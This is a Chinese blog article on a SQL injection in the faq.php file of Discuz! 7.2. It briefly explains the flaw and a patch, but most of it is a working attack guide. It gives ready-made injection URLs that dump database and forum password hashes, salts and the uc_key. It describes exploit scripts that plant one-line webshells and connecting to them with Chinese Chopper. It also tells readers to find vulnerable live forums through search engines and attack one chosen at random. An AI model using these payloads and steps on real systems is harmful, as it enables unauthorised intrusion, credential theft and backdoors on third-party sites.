Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战
[antian365.com] simeon
最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨。
本次存在漏洞的文件为faq.php,打开该文件后,从第148行开始,代码如下
} elseif($action == 'grouppermission') {
require_once'./include/forum.func.php';
require_oncelanguage('misc');
$permlang =$language;
unset($language);
$searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid;
$groups =$grouplist = array();
$query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower");
$cgdata =$nextgid = '';
while($group =$db->fetch_array($query)) {
$group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type'];
$groups[$group['type']][]= array($group['groupid'], $group['grouptitle']);
$grouplist[$group['type']].= '<option value="'.$group['groupid'].'"'.($searchgroupid ==$group['groupid'] ? ' selected="selected"' :'').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' ←': '').'</option>';
if($group['groupid']== $searchgroupid) {
$cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);
}
}
if($cgdata[0] =='member') {
$nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0];
if($cgdata[1]> 0) {
$gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1];
}
$gids[2] =$groups[$cgdata[0]][$cgdata[1]];
if($cgdata[1]< count($groups[$cgdata[0]]) - 1) {
$gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1];
if(count($gids)== 2) {
$gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2];
}
}elseif(count($gids) == 2) {
$gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2];
}
} else {
$gids[1] =$groups[$cgdata[0]][$cgdata[1]];
}
ksort($gids);
$groupids =array();
foreach($gids as$row) {
$groupids[]= $row[0];
}
$query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")");
$groups =array();
首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。为什么这个操作就造成了注入?在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里,有提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体现。discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。在将数据放入sql语句前,通过implodeids函数进行处理了一遍,implodeids函数如下:
function implodeids($array) {
if(!empty($array)){
return"'".implode("','", is_array($array) ? $array :array($array))."'";
} else {
return '';
}
}
很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错。
利用上面提到的思路,通过提交faq.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞。因此可以构造利用代码:
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23
(1)获取mysql用户信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(2)获取数据库版本信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(3)获取数据库信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(4)获取数据库用户名和密码
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
(5)获取用户名、email、密码和salt信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(6)获取uc_key
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
(7)对指定uid获取密码
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
网上公布了可利用的exp工具,通过该工具可以快速获取管理员密码,但有时候admin帐号并不是管理员帐号。利用格式如下:
(1)直接获取webshell,一句话密码为“i0day”
php dz7.2.php www.antian365.com / 1
(2)获取管理密码
php dz7.2.php www.antian365.com / 2
(1)通过exp直接获取webshell,如果不能则获取管理员密码。
(2)对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字“1”,例如下面获取
php dz7.2.php www.antian365.com / 2
admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71,需要查询的是c6c45f444cf6a41b309c9401ab9a55a7:066ff7
注意:有时候通过工具获取的密码不一定是管理员,这个时候就需要手工获取管理员的密码,还有如果有secques,就需要暴力破解。
(3)通过uc_key获取shell
(4)进入后台,添加插件获取webshell
(5)http://www.antian365.com/config.inc.php 一句话密码i0day 或者cmd
(1)直接删除faq.php文件。该文件为显示论坛帮助用的,功能相对独立,可以在服务器禁止该文件的访问,或者直接删除,对论坛常规功能没有任何影响。
(2) 手工修复faq.php
用编辑器打开该文件,查找代码:“} elseif($action =='grouppermission') {”,在其下面添加“ $gids= array();”即可。
通过google、百度等搜索引擎搜索“Powered by Discuz!7.2”,在出来的结果中随机选取一个论坛,然后在命令提示符下输入“php dz7.2.php www1.xxxx.com / 1”以及“php dz7.2.php www1.xxxx.com / 2”,如图1所示,直接获取该网站的webshell以及管理员密码。
图1 获取webshell以及管理员密码
注意:
(1)需要本地搭建php运行环境,本案例使用的是ComsenzEXP X2.5,下载地址:http://www.comsenz.com/downloads/install/exp/,安装完毕后需要修改php.ini文件,该文件在安装该软件的php目录中,例如“D:\ComsenzEXP\PHP5”,打开php.ini文件,将以下文件的内容修改为实际安装文件的路径,否则执行php命令会报错。
zend_extension_manager.optimizer_ts="D:\ComsenzEXP\PHP5\Zend"
zend_extension_ts="D:\ComsenzEXP\PHP5\Zend\ZendExtensionManager.dll"
(2)“/”后需要留一个空格。如果存在漏洞则有结果,无结果则表明无法获取webshell或者管理员密码。
在中国菜刀中对上面获取的webshell进行连接测试,如图2所示,成功获取webshell。
图2 对webshell进行连接测试
(1)获取uc_key值
在本地打开config.inc.php文件,如图3所示,将UC_KEY值复制,UC_KEY可能是64位,也可能为124位。也可以通过查看数据库中的cdb_uc_applications表的authkey字段值。
图3获取uc_key值
(2)修改uc_key_dz72_me.php程序配置
在uc_key漏洞利用程序uc_key_dz72_me.php中需要手动配置host和uc_key的值,如图4所示。
图4修改漏洞利用程序配置
(3)修改discuz!7.2实际安装路径
在uc_key漏洞利用程序uc_key_dz72_me.php中默认是安装在根目录中,但在实际使用中有可能是安装在其它目录,比如bbs、forum等。如果不是默认根目录,则需要在send()函数中修改uc.php真实路径,例如修改为“/dz72/api/uc.php”,如果是默认的则为“api/uc.php”,其它保持不变。
图5修改post参数
(4)执行利用程序
在php.exe程序所在目录执行“php uc_key_dz72_me.php”,如图6所示,会出现“1”的提示,则表明成功获取webshell。
图6执行漏洞利用程序
(5)查看config.inc.php文件
再次打开config.inc.php文件,如图7所示,uc_key中新增加了一句话后门代码,使用中国菜刀连接,密码为“cmd”。
图7成功获取webshell
(1)获取uc_key前62位值。
在浏览器中目标地址加上:“/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23”
执行后获取uc_key前62位值,如图8所示。
图8获取uc_key前62位值
(2)获取剩余uc_key值
在上述代码中将(authkey,1,62)修改为(authkey,61,64),如图9所示,获取uc_key值“j2J6”,去掉“j2”,前后值相加即为uc_key的真实值。如果authkey的值超过64位则修改为(authkey,61,128)。substr()函数一次只能获取62位值。直接使用substr(authkey,1,124)也只能获取62位值,如图10所示。
图9获取uc_key剩余值
图10一次只能获取62位值
(3)获取webshell
将uc_key值和host以及真实的路径值进行修改,然后通过uc_key漏洞利用程序,成功获取webshell,如图11所示。
图11获取webshell
(4)修补程序漏洞
在faq.php文件中找到action==grouppermission代码所在处,在其后加入代码“$gids = array();” 如图12所示,保存后即可修复faq.php注入漏洞。
图12修复faq.php文件注入漏洞
(1)获取admin密码,但不是管理员帐号
对目标网站通过漏洞利用程序,获取管理员帐号为admin的密码和salt值,如图13所示,将其在cmd5.com进行查询,购买该破解后的密码后,使用其进行网站登录,如图14所示,虽然为admin帐号,但不是管理员。
图13获取admin帐号密码
图14登录网站
(2)获取管理团队帐号名称和uid
在论坛中单击“论坛统计”-“管理团队”,如图15所示,获取所有管理团队的用户帐号名称,单击该帐号可以获取uid值。分别记下其uid值,后续在程序中还有用。
图15获取管理员帐号和uid值
(3)获取真实管理员的帐号、密码和salt值
在浏览器中输入以下代码,获取指定uid的密码、email、salt值:
http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=50477%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
执行后通过出错信息获取其相应的值,如图16所示。
图16获取指定管理员的帐号密码和salt值
后续步骤跟上面的类似,通过破解管理员的密码,登录后台,通过添加插件,成功获取webshell。
本文出自 “simeon技术专栏” 博客,转载请与作者联系!